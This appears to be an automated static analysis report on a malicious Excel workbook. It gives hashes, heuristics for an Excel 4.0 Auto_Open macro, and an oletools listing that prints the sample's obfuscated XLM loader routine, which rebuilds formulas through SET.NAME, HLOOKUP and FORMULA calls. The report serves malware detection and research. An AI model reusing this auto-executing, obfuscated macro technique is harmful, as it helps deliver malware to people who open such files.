Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05ab1357f1891086…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:18 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 5f528f3def14eedc681553cb2445954b SHA-1: c5d523479765dec2ec9ab75551393989bc94e8af SHA-256: 05ab1357f18910864145b039e4d680191bedc7088b64f2b4c759deded005ff39
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6315 bytes
SHA-256: b848bee0d83daebf694816a85a9873aa649d8419cdbb69f07e456c5f225e8f39
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LMi
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D156 
' 0018     21 LABEL : Cell Value, String Constant - axNuex len=0 
' 0018     21 LABEL : Cell Value, String Constant - dAQrrY len=0 
' 0018     25 LABEL : Cell Value, String Constant - FlqUWIdEUV len=0 
' 0018     21 LABEL : Cell Value, String Constant - GnuzuC len=0 
' 0018     24 LABEL : Cell Value, String Constant - idkNzlEUM len=0 
' 0018     25 LABEL : Cell Value, String Constant - IVlZYLJadP len=0 
' 0018     26 LABEL : Cell Value, String Constant - kUqUGkLgMVf len=0 
' 0018     22 LABEL : Cell Value, String Constant - midlzPT len=0 
' 0018     27 LABEL : Cell Value, String Constant - OGvrKGRehpON len=0 
' 0018     25 LABEL : Cell Value, String Constant - OiOdJSGKgc len=0 
' 0018     20 LABEL : Cell Value, String Constant - pdJPe len=0 
' 0018     23 LABEL : Cell Value, String Constant - rodOJPin len=0 
' 0018     21 LABEL : Cell Value, String Constant - ryaEHf len=0 
' 0018     21 LABEL : Cell Value, String Constant - sunzcv len=0 
' 0018     23 LABEL : Cell Value, String Constant - vOmPGOZX len=0 
' 0018     20 LABEL : Cell Value, String Constant - VZWHK len=0 
' 0018     20 LABEL : Cell Value, String Constant - WmsQL len=0 
' 0018     23 LABEL : Cell Value, String Constant - wsbhuDvf len=0 
' 0018     24 LABEL : Cell Value, String Constant - xBAHjjhFv len=0 
' 0018     21 LABEL : Cell Value, String Constant - yMUjhL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LMi,D58,"SET.NAME("midlzPT",VALUE("0"))",""
'  LMi,D62,"SET.NAME("VZWHK",midlzPT)",""
'  LMi,D65,"SET.NAME("idkNzlEUM",midlzPT)",""
'  LMi,D68,"SET.NAME("axNuex",COUNTA(xBAHjjhFv))",""
'  LMi,D70,"SET.NAME("FlqUWIdEUV",COUNTA(vOmPGOZX))",""
'  LMi,D75,[],""
'  LMi,D80,"SET.NAME("kUqUGkLgMVf","")",""
'  LMi,D83,"VZWHK",""
'  LMi,D86,"SET.NAME("yMUjhL",HLOOKUP("*",xBAHjjhFv,VZWHK,FALSE))",""
'  LMi,D88,"wsbhuDvf",""
'  LMi,D93,"SET.NAME("WmsQL",midlzPT)",""
'  LMi,D98,[],""
'  LMi,D102,"WmsQL",""
'  LMi,D106,"OGvrKGRehpON",""
'  LMi,D111,"OiOdJSGKgc",""
'  LMi,D115,"sunzcv",""
'  LMi,D118,"SET.NAME("rodOJPin",VALUE(HLOOKUP("*",vOmPGOZX,sunzcv,FALSE)))",""
'  LMi,D122,"dAQrrY",""
'  LMi,D126,"kUqUGkLgMVf",""
'  LMi,D130,"idkNzlEUM",""
'  LMi,D135,NEXT(),""
'  LMi,D139,"GnuzuC",""
'  LMi,D142,"SET.NAME("f",INT(T(FORMULA(T(kUqUGkLgMVf)&"",""&T(GnuzuC)))))",""
'  LMi,D146,"pdJPe",""
'  LMi,D149,NEXT(),""
'  LMi,D153,RETURN(),""
'  LMi,D178,"SET.NAME("ryaEHf",D58)",""
'  LMi,D182,"xBAHjjhFv",""
'  LMi,D185,"SET.NAME("vOmPGOZX",R51C14)",""
'  LMi,D189,"SET.NAME("pdJPe",197)",""
'  LMi,D192,"SET.NAME("IVlZYLJadP",4)",""
'  LMi,D196,ryaEHf(),""
'  LMi,D197,HALT(),""

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